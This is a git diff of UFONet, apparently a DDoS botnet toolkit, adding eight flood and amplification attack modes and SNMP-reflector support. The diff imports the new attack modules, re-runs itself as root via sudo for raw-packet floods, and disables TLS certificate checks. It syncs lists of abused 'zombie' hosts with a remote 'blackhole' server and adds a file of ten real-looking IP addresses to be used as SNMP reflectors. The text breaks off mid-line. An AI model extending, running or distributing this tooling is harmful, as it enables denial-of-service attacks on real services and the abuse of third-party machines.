diff --git a/Makefile b/Makefile index 02bd094..3a5b3ff 100644 --- a/Makefile +++ b/Makefile @@ -4,7 +4,7 @@ PYTHON=`which python` DESTDIR=/ BUILDIR=$(CURDIR)/debian/ufonet PROJECT=ufonet -VERSION=1.5 +VERSION=1.6 all: @echo "make source - Create source package" diff --git a/README.md b/README.md index 174adc1..24932d9 100755 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ ---------- - + Project Website: https://ufonet.03c8.net + + Website: https://ufonet.03c8.net ---------- @@ -22,6 +22,57 @@ and on the Layer3 (Network) abusing the protocol. ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-schema.png "UFONet Schema") + - LOIC: + https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon + + - LORIS: + https://en.wikipedia.org/wiki/Slowloris_(software) + + - UFOSYN: + https://en.wikipedia.org/wiki/SYN_flood + + - FRAGGLE: + https://en.wikipedia.org/wiki/Fraggle_attack + + - UFORST: + https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood + + - SPRAY: + https://en.wikipedia.org/wiki/DRDOS + + - SMURF: + https://en.wikipedia.org/wiki/Smurf_attack + + - XMAS: + https://en.wikipedia.org/wiki/Christmas_tree_packet + + - DROPER: + https://en.wikipedia.org/wiki/IP_fragmentation_attack + + - SNIPER: + https://www.imperva.com/learn/application-security/snmp-reflection/ + + - TACHYON: + https://www.us-cert.gov/ncas/alerts/TA13-088A + + - PINGER: + https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/ + + - MONLIST: + https://www.us-cert.gov/ncas/alerts/TA14-013A + + - UFOACK: + https://www.f5.com/services/resources/glossary/push-and-ack-flood + + - OVERLAP: + https://cyberhoot.com/cybrary/fragment-overlap-attack/ + + - UFOUDP: + https://en.wikipedia.org/wiki/UDP_flood_attack + + - NUKE: + https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf + ---------- #### Installing: @@ -78,33 +129,21 @@ in the [LICENSE](./docs/LICENSE) file. #### Screenshots (current version!): - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-1.png "UFONet Shell") + ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-1.png "UFONet Shell") - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-2.png "UFONet Shell Board") + ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-2.png "UFONet Shell Board") - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-3.png "UFONet GUI Shell") + ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-3.png "UFONet GUI Shell") ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-main_small.png "UFONet GUI Main Panel") - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-botnet_small.png "UFONet GUI Botnet") + ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-botnet.png "UFONet GUI Botnet") - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-stats.png "UFONet GUI General Stats") + ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-stats.png "UFONet GUI General Stats") ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-ranking_small.png "UFONet GUI Ranking") - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-board_small.png "UFONet GUI Board/Forum") - - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid_small.png "UFONet GUI Crypto Grid Board") - - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid2_small.png "UFONet GUI Grid Stats") - - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-wargames_small.png "UFONet GUI Wargames") - - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-streams_small.png "UFONet GUI Streams") - - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-globalnet_small.png "UFONet GUI GlobalNet") - - ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-attack_small.png "UFONet GUI Attack") + ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-attack.png "UFONet GUI Attack") ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet GeoMap /deploying/") diff --git a/botnet/snmp.txt b/botnet/snmp.txt new file mode 100644 index 0000000..2a46203 --- /dev/null +++ b/botnet/snmp.txt @@ -0,0 +1,10 @@ +91.209.18.121 +141.0.173.136 +213.251.149.156 +188.166.0.146 +80.151.159.249 +146.247.132.41 +200.183.132.53 +50.78.18.195 +112.213.83.161 +94.176.237.178 diff --git a/core/main.py b/core/main.py index 0e22af5..36c37a3 100755 --- a/core/main.py +++ b/core/main.py @@ -39,6 +39,14 @@ from core.mods.nuke import NUKE from core.mods.tachyon import TACHYON from core.mods.monlist import MONLIST +from core.mods.sniper import SNIPER +from core.mods.ufoack import UFOACK +from core.mods.uforst import UFORST +from core.mods.droper import DROPER +from core.mods.overlap import OVERLAP +from core.mods.pinger import PINGER +from core.mods.ufoudp import UFOUDP +from core.mods.fraggle import FRAGGLE DEBUG = False # use 'True' for detailed traceback @@ -64,6 +72,7 @@ def __init__(self): self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs' self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs' self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs] + self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs] self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans' self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks] self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats @@ -109,10 +118,18 @@ def __init__(self): self.total_syn = 0 self.total_spray = 0 self.total_smurf = 0 + self.total_fraggle = 0 self.total_xmas = 0 + self.total_ufoack = 0 + self.total_uforst = 0 + self.total_droper = 0 + self.total_overlap = 0 + self.total_pinger = 0 + self.total_ufoudp = 0 self.total_nuke = 0 self.total_tachyon = 0 self.total_monlist = 0 + self.total_sniper = 0 self.total_zombies_failed_connection = 0 self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic) self.ctx.check_hostname = False @@ -177,28 +194,28 @@ def create_options(self, args=None): def banner_welcome(self): print("") - print(" 0=============================================0") - print(" + (XX) + || ||") - print(" || *~~~~~~~~* || || * Botnet -> [DDoS]: ||") - print(" -(00)- (0) (0) -(00)- || /ZOMBIES : HTTP GET bots ||") - print(" || \| (00) |/ || || /DROIDS : HTTP GET (+params) bots ||") - print(" (O)_ (O) 0'----'0 (O) _(O) || /ALIENS : HTTP POST bots ||") - print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||") - print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||") - print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP Database flooder ||") - print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||") - print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||") - print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||") - print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||") - print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||") - print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||") - print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||") - print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||") - print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||") - print(" .'_.-| YY |-._'. || /XMAS : TCP-XMAS flooder ||") - print(" || /NUKE : TCP-STARVATION attack ||") - print(" + Class: UFONet / ViPR404+ (model H) + || ||") - print(" 0|===========================================|0") + print(" || /\ || #===============================================#") + print(" -(00)- + (XX) + -(00)- || ||") + print(" || || *~~~~~~~~* || || || > Botnet [DDoS] # > Close Combat [DoS] ||") + print(" -(00)- (0) XX (0) -(00)- || ||") + print(" || \| (00) |/ || || |-> ZOMBIES # |-> LOIC ||") + print(" (O)_ (O) 0'----'0 (O) _(O) || |-> DROIDS # |-> LORIS ||") + print(" | |.''.( xx ).''.| | || |-> ALIENS # |-> UFOSYN ||") + print(" .'.' X|'..'|X '.'. || |-> UCAVs # |-> XMAS ||") + print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||") + print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || |-> DBSTRESS # |-> UFOACK ||") + print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||") + print(" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||") + print(" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||") + print(" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||") + print(" | '### | =| | ###### | |= |' ### | || |-> FRAGGLE # |-> UFOUDP ||") + print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || |-> SNIPER # ||") + print(" \ '._.' '. | \_##_/ | .' '._.' / || ||") + print(" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#") + print(" .'_.-| YY |-._'. || ||") + print(" || -> [ UFONet: https://ufonet.03c8.net ] <- ||") + print(" + Class: PSYoPs / ViPR404+ (model I^) + || ||") + print(" #|=============================================|#") print("") def banner(self): @@ -519,6 +536,17 @@ def run(self, opts=None): except: pass # keep running, but SMURF will fail + # check EUID when running FRAGGLE (root required) + if options.fraggle: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but FRAGGLE will fail + # check EUID when running XMAS (root required) if options.xmas: euid = self.checkeuid() @@ -530,6 +558,72 @@ def run(self, opts=None): except: pass # keep running, but XMAS will fail + # check EUID when running UFOACK (root required) + if options.ufoack: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but UFOACK will fail + + # check EUID when running UFORST (root required) + if options.uforst: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but UFORST will fail + + # check EUID when running DROPER (root required) + if options.droper: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but DROPER will fail + + # check EUID when running OVERLAP (root required) + if options.overlap: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but OVERLAP will fail + + # check EUID when running PINGER (root required) + if options.pinger: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but PINGER will fail + + # check EUID when running UFOUDP (root required) + if options.ufoudp: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but UFOUDP will fail + # check EUID when running NUKE (root required) if options.nuke: euid = self.checkeuid() @@ -563,6 +657,17 @@ def run(self, opts=None): except: pass # keep running, but MONLIST will fail + # check EUID when running SNIPER (root required) + if options.sniper: + euid = self.checkeuid() + if euid != 0: + print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n") + try: + args = ['sudo', sys.executable] + sys.argv + [os.environ] + os.execlpe('sudo', *args) + except: + pass # keep running, but SNIPER will fail + # search for [Zombies] on search engines results (dorking) if options.search: zombies = [] @@ -1400,7 +1505,7 @@ def check_mothership_chargo(self): def update_flying_stats(self): if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used) with open(self.mothership_stats_file, "w") as f: - json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset + json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() @@ -1540,6 +1645,18 @@ def update_smurf_stats(self): stats_json_file.write(json.dumps(data)) stats_json_file.close() + def update_fraggle_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + afraggle = data["fraggle"] + afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats + self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats + data["fraggle"] = afraggle + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + def update_xmas_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) @@ -1552,6 +1669,78 @@ def update_xmas_stats(self): stats_json_file.write(json.dumps(data)) stats_json_file.close() + def update_ufoack_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + aufoack = data["ufoack"] + aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats + self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats + data["ufoack"] = aufoack + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + + def update_uforst_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + auforst = data["uforst"] + auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats + self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats + data["uforst"] = auforst + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + + def update_droper_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + adroper = data["droper"] + adroper = str(int(adroper) + 1) # add new droper attack to recorded stats + self.total_droper = self.total_droper + 1 # add new droper attack to session stats + data["droper"] = adroper + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + + def update_overlap_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + aoverlap = data["overlap"] + aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats + self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats + data["overlap"] = aoverlap + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + + def update_pinger_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + apinger = data["pinger"] + apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats + self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats + data["pinger"] = apinger + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + + def update_ufoudp_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + aufoudp = data["ufoudp"] + aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats + self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats + data["ufoudp"] = aufoudp + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + def update_nuke_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) @@ -1588,6 +1777,18 @@ def update_monlist_stats(self): stats_json_file.write(json.dumps(data)) stats_json_file.close() + def update_sniper_stats(self): + stats_json_file = open(self.mothership_stats_file, "r") + data = json.load(stats_json_file) + stats_json_file.close() + asniper = data["sniper"] + asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats + self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats + data["sniper"] = asniper + stats_json_file = open(self.mothership_stats_file, "w+") + stats_json_file.write(json.dumps(data)) + stats_json_file.close() + def uploading_list(self): from io import BytesIO self.user_agent = random.choice(self.agents).strip() # shuffle user-agent @@ -1599,6 +1800,7 @@ def uploading_list(self): reflectors = "botnet/reflectors.txt.gz" crystals = "botnet/crystals.txt.gz" warps = "botnet/warps.txt.gz" + bosons = "botnet/bosons.txt.gz" if self.options.timeout: # set timeout try: timeout = int(self.options.timeout) @@ -1627,6 +1829,8 @@ def uploading_list(self): crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers) warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() + req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers) + bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() else: if self.options.proxy: # set proxy self.proxy_transport(options.proxy) @@ -1644,7 +1848,9 @@ def uploading_list(self): crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers) warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() - if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "": + req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers) + bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() + if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "": print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]") print('-'*12 + '\n') print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n") @@ -1720,6 +1926,16 @@ def uploading_list(self): for _ in f: num_warps = num_warps + 1 print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps)) + f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb') + f_out_bosons = open('botnet/bosons.txt', 'wb') + f_out_bosons.write(f_in_bosons.read()) + f_in_bosons.close() + f_out_bosons.close() + num_bosons = 0 + with open('botnet/bosons.txt') as f: + for _ in f: + num_bosons = num_bosons + 1 + print("[Info] [SNMPs] on [Blackhole] : "+ str(num_bosons)) print('-'*12 + '\n') if not self.options.forceyes: update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)") @@ -1734,6 +1950,7 @@ def uploading_list(self): os.remove('botnet/reflectors.txt') # remove reflectors file os.remove('botnet/crystals.txt') # remove crystals file os.remove('botnet/warps.txt') # remove warps file + os.remove('botnet/bosons.txt') # remove bosons file print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n") return else: @@ -1880,8 +2097,28 @@ def uploading_list(self): else: pass print("[Info] [AI] New [DNSs] found : " + str(dnss_added)) + snmps = self.extract_snmps() + if not snmps: + return + snmps_community = [] + snmps_added = 0 + f = open('botnet/bosons.txt') + bosons = f.readlines() + bosons = [boson.strip() for boson in bosons] + f.close() + fz = open(self.snmps_file) + snmps = fz.readlines() + snmps = [snmp.strip() for snmp in snmps] + fz.close() + for snmp in snmps: + if snmp not in crystals: + snmps_community.append(snmp) + snmps_added = snmps_added + 1 + else: + pass + print("[Info] [AI] New [SNMPs] found : " + str(snmps_added)) print('-'*12 + '\n') - if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie + if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie os.remove('botnet/abductions.txt') # remove abductions file os.remove('botnet/troops.txt') # remove troops file os.remove('botnet/robots.txt') # remove robots file @@ -1889,6 +2126,7 @@ def uploading_list(self): os.remove('botnet/reflectors.txt') # remove rpcs file os.remove('botnet/crystals.txt') # remove crystals file os.remove('botnet/warps.txt') # remove warps file + os.remove('botnet/bosons.txt') # remove snmps file print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n") return else: @@ -1927,6 +2165,11 @@ def uploading_list(self): fc.write(dns.strip()+"\n") fc.close() os.remove('botnet/warps.txt') # remove warps file + fc = gzip.open('botnet/community_snmps.txt.gz', 'wb') + for snmp in snmps_community: + fc.write(snmp.strip()+"\n") + fc.close() + os.remove('botnet/bosons.txt') # remove bosons file print("[Info] [AI] Starting to upload new [Zombies]...\n") try: # open a socket and send data to the blackhole reciever port host = self.blackhole @@ -2023,6 +2266,19 @@ def uploading_list(self): ms.send(data) ms.close() os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer + time.sleep(1) + cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading + cs.connect(host, cport) + cs.send("SEND " + 'community_snmps.txt.gz') + cs.close() + f = open('botnet/community_snmps.txt.gz', "rb") + data = f.read() + f.close() + ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ms.connect(host, mport) + ms.send(data) + ms.close() + os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer time.sleep(2) # sleep a bit more print('-'*12 + '\n') print("[Info] [AI] Transfer -> [DONE!]\n") @@ -2184,6 +2440,11 @@ def downloading_list(self): warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() except: warps_reply = "" + try: + req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers) + bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() + except: + bosons_reply = "" else: try: req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers) @@ -2220,7 +2481,12 @@ def downloading_list(self): warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() except: warps_reply = "" - if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "": + try: + req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers) + bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read() + except: + bosons_reply = "" + if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "": print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]") print('-'*12 + '\n') print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from ''") @@ -2249,6 +2515,9 @@ def downloading_list(self): f = open('botnet/warps.txt.gz', 'wb') f.write(warps_reply) f.close() + f = open('botnet/bosons.txt.gz', 'wb') + f.write(bosons_reply) + f.close() print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)") except: print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]") @@ -2301,6 +2570,12 @@ def downloading_list(self): f_in_warps.close() f_out_warps.close() os.remove('botnet/warps.txt.gz') # remove warps .gz file + f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb') + f_out_bosons = open('botnet/bosons.txt', 'wb') + f_out_bosons.write(f_in_bosons.read()) + f_in_bosons.close() + f_out_bosons.close() + os.remove('botnet/bosons.txt.gz') # remove bosons .gz file num_abductions = 0 with open('botnet/abductions.txt') as f: for _ in f: @@ -2336,7 +2611,12 @@ def downloading_list(self): for _ in f: num_warps = num_warps + 1 print("[Info] NTPs : " + str(num_warps)) - total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons = 0 + with open('botnet/bosons.txt') as f: + for _ in f: + num_bosons = num_bosons + 1 + print("[Info] SNMPs : " + str(num_bosons)) + total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies)) print('-'*12) if not self.options.forceyes: @@ -2352,6 +2632,7 @@ def downloading_list(self): os.remove('botnet/reflectors.txt') # remove reflectors file os.remove('botnet/crystals.txt') # remove crystals file os.remove('botnet/warps.txt') # remove warps file + os.remove('botnet/bosons.txt') # remove bosons file print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]") print('-'*25) print("\n[AI] "+self.exit_msg+"\n") @@ -2461,6 +2742,21 @@ def downloading_list(self): pass self.update_ntps(ntps_ready) os.remove('botnet/warps.txt') # remove warps .txt file + snmps_ready = [] + f = open('botnet/bosons.txt') + bosons = f.readlines() + f.close() + fz = open(self.snmps_file) + snmps = fz.readlines() + fz.close() + for boson in bosons: + boson = boson.replace('\n','') + if boson not in snmps: + snmps_ready.append(boson) + else: + pass + self.update_snmps(snmps_ready) + os.remove('botnet/bosons.txt') # remove bosons .txt file print("\n[Info] [AI] Botnet updated! -> ;-)") self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole) if not self.options.forceyes: # ask for update everything @@ -2533,7 +2829,12 @@ def downloading_github_list(self): ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8') except: ntp_reply = "" - if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "": + try: + req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers) + snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8') + except: + snmp_reply = "" + if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "": print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]") print('-'*12 + '\n') print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n") @@ -2559,6 +2860,9 @@ def downloading_github_list(self): f = open('botnet/warps.txt', 'w') # ntp f.write(ntp_reply) f.close() + f = open('botnet/bosons.txt', 'w') # snmp + f.write(snmp_reply) + f.close() print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)") except: print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]") @@ -2601,7 +2905,12 @@ def downloading_github_list(self): for _ in f: num_warps = num_warps + 1 print("[Info] NTPs : " + str(num_warps)) - total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons = 0 + with open('botnet/bosons.txt') as f: # snmp + for _ in f: + num_bosons = num_bosons + 1 + print("[Info] SNMPs : " + str(num_bosons)) + total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies)) print('-'*12) if not self.options.forceyes: @@ -2617,6 +2926,7 @@ def downloading_github_list(self): os.remove('botnet/drones.txt') # remove ucavs/drones file os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file os.remove('botnet/warps.txt') # remove ntp/warps file + os.remove('botnet/bosons.txt') # remove snmp/bosons file print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]") print('-'*25) print("\n[AI] "+self.exit_msg+"\n") @@ -2726,6 +3036,21 @@ def downloading_github_list(self): pass self.update_ntps(ntps_ready) os.remove('botnet/warps.txt') # remove NTP/warps file + snmps_ready = [] + f = open('botnet/bosons.txt') + bosons = f.readlines() + f.close() + fz = open(self.snmps_file) + snmps = fz.readlines() + fz.close() + for boson in bosons: + boson = boson.replace('\n','') + if boson not in snmps: + snmps_ready.append(boson) + else: + pass + self.update_snmps(snmps_ready) + os.remove('botnet/bosons.txt') # remove SNMP/bosons file print("\n[Info] [AI] Botnet updated! -> ;-)") self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole) if not self.options.forceyes: # ask for update everything @@ -3697,16 +4022,16 @@ def extract_ntps(self): ntps = [ ntp.replace('\n','') for ntp in ntps ] f.close() if not ntps: - print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]") + print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]") return else: return ntps except: if os.path.exists(self.ntps_file) == True: - print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]") + print("[Info] [AI] 